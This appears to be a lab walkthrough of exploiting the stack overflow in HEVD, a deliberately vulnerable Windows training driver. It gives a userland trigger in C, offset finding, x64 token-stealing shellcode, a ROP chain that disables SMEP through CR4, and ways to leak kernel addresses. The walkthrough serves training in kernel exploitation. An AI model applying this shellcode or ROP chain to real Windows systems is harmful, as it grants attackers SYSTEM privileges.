HEVD stack overflow — walkthrough

HEVD stack overflow — walkthrough

TL;DR: HEVD’s StackOverflow IOCTL takes a user buffer and copies it into a fixed-size kernel stack buffer without bounds checking → kernel stack BOF. Exploitation: control RIP via the saved return address, build a ROP chain that disables SMEP, commit_creds-equivalent via token swap, return to userland via swapgs; iretq. This is the canonical Windows kernel exploit walkthrough and the gateway to every other HEVD bug class. Companion to kernel-stack-overflow, smep-smap-overview, token-stealing-payloads.

Lab setup

  • Windows 10 / 11 VM (Build matters — pick a known HEVD-tested build).
  • WinDbg + kernel debugging enabled. See kernel-debugging-with-windbg.
  • HEVD.sys driver installed and started (sc create hevd binPath= C:\HEVD.sys type= kernel; sc start hevd).
  • Disable Driver Signature Enforcement (bcdedit /set testsigning on).
  • Disable HVCI / VBS for the walkthrough (re-enable later for the vbs-hvci-bypass-walkthrough).
  • Two-VM setup: target with HEVD, host with WinDbg.

Step 1 — find the IOCTL

HEVD source (open-source) defines IOCTL_HEVD_STACK_OVERFLOW. From IDA / Ghidra on HEVD.sys:

1
2
3
case 0x222003: {
    return TriggerStackOverflow(SystemBuffer, InputBufferLength);
}

TriggerStackOverflow:

1
2
3
4
5
6
NTSTATUS TriggerStackOverflow(_In_ PVOID UserBuffer, _In_ SIZE_T Size) {
    ULONG KernelBuffer[512] = { 0 };           // 2048 bytes on stack
    ProbeForRead(UserBuffer, sizeof(KernelBuffer), sizeof(ULONG));
    RtlCopyMemory(KernelBuffer, UserBuffer, Size);   // ← BUG: Size attacker-controlled
    return STATUS_SUCCESS;
}

Step 2 — userland trigger

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <windows.h>
#include <stdio.h>

#define IOCTL_STACK_OVERFLOW 0x222003

int main() {
    HANDLE h = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
                           GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
    if (h == INVALID_HANDLE_VALUE) { printf("open: %lu\n", GetLastError()); return 1; }

    BYTE buf[3000];
    memset(buf, 'A', sizeof(buf));
    DWORD ret;
    DeviceIoControl(h, IOCTL_STACK_OVERFLOW, buf, sizeof(buf), NULL, 0, &ret, NULL);
    return 0;
}

Run; WinDbg should catch a BSOD with KERNEL_MODE_EXCEPTION_NOT_HANDLED and RIP = 0x4141414141414141.

Step 3 — find offset to RIP

Cyclic pattern works identically to userland BOF — use msf-pattern_create (long enough; kernel stack has more padding):

1
msf-pattern_create -l 3000 > pat.bin

Send as the IOCTL buffer; WinDbg shows RIP = 0x4163416541664167. msf-pattern_offset -q 4167416641654163 → offset 2080 (varies by Windows build; expect 2080-2096).

Step 4 — choose payload location

The canonical kernel BOF payload approach with SMEP off: place shellcode in user space, set RIP to user address. With SMEP on, the kernel can’t execute user pages — need ROP, see Step 6.

For the first iteration, walk through SMEP-off so the mechanic is clear.

1
2
3
PVOID shellcode_area = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE,
                                    PAGE_EXECUTE_READWRITE);
memcpy(shellcode_area, token_steal_shellcode, sizeof(token_steal_shellcode));

Then set the saved RIP to shellcode_area.

Step 5 — token-stealing shellcode

The Windows kernel root primitive: locate the SYSTEM process’s Token field; copy it into the current process’s Token field.

Manual x64 shellcode:

; assume RCX = EPROCESS of current process at entry
mov rax, qword ptr gs:[0x188]      ; KTHREAD
mov rax, qword ptr [rax + 0xB8]    ; EPROCESS = KTHREAD->ApcState.Process
mov rcx, rax                        ; save current
.find_system:
mov rax, qword ptr [rax + 0x448]   ; ActiveProcessLinks.Flink (offset varies by Win build)
sub rax, 0x448
mov rdx, qword ptr [rax + 0x440]   ; UniqueProcessId
cmp rdx, 4                          ; PID 4 = SYSTEM
jne .find_system

mov rax, qword ptr [rax + 0x4B8]   ; SYSTEM.Token
and al, 0xF0                        ; clear reference-count bits
mov qword ptr [rcx + 0x4B8], rax   ; current.Token = SYSTEM.Token

Offsets vary across Windows builds — extract from your target build with kd> dt nt!_EPROCESS.

After token swap, return to userland gracefully:

; restore RBP, return; for kernel stack frame, that's the return saved by RtlCopyMemory's caller
xor eax, eax
add rsp, 8
ret

For more robust return, do a swapgs; iretq chain that restores user CS/SS/RFLAGS/RSP.

Step 6 — SMEP-on variant: ROP chain

When SMEP is enabled (default on modern Windows), executing user shellcode from kernel mode triggers SMEP violation.

Two strategies:

  1. Disable SMEP via ROP: use a kernel gadget that writes to CR4 to clear bit 20 (SMEP) → fall through to user shellcode.
  2. Keep payload in kernel: place shellcode in kernel pool, leak its address.

The classic SMEP-disable gadget:

mov cr4, rax ; ret

Found in nt!HvlEndSystemInterrupt and various other places. Set RAX = original CR4 with bit 20 cleared, then jump to it.

ROP chain:

1
2
3
4
[saved RIP]          → pop rax; ret
[new CR4 value]      → 0x506f8 (typical; SMEP bit 20 cleared, rest of bits preserved)
                     → mov cr4, rax; ret
                     → address of user-mode shellcode

Find gadgets:

1
2
3
kd> !for_each_module .echo @#ModuleName
kd> .reload /f
# Use ROPgadget on the extracted ntoskrnl.exe

Step 7 — KASLR

Kernel base randomises per boot. Leak via:

  • NtQuerySystemInformation with SystemModuleInformation (requires Medium IL or higher in modern builds — many leaks closed).
  • NtQuerySystemInformation with SystemExtendedHandleInformation for token addresses.
  • HEVD’s own bugs (e.g., IntegerOverflow returns the stack contents partially — leaks kernel pointers).

Once base is known, gadget offsets resolve.

Step 8 — fire

1
trigger.exe

If everything is correct: whoami after the exploit returns NT AUTHORITY\SYSTEM. WinDbg shows the kernel stack ROP chain executing.

Common failures

Symptom Fix
BSOD at random RIP after first ROP gadget wrong gadget offset; reload symbols
BSOD IRQL_NOT_LESS_OR_EQUAL likely paged-pool reference after RET; restore stack before exit
Token swap succeeds but shell still non-admin offset to Token field wrong for build; recheck _EPROCESS
SMEP violation despite ROP CR4 value wrong; preserved bits matter

After this works

Move on to:

References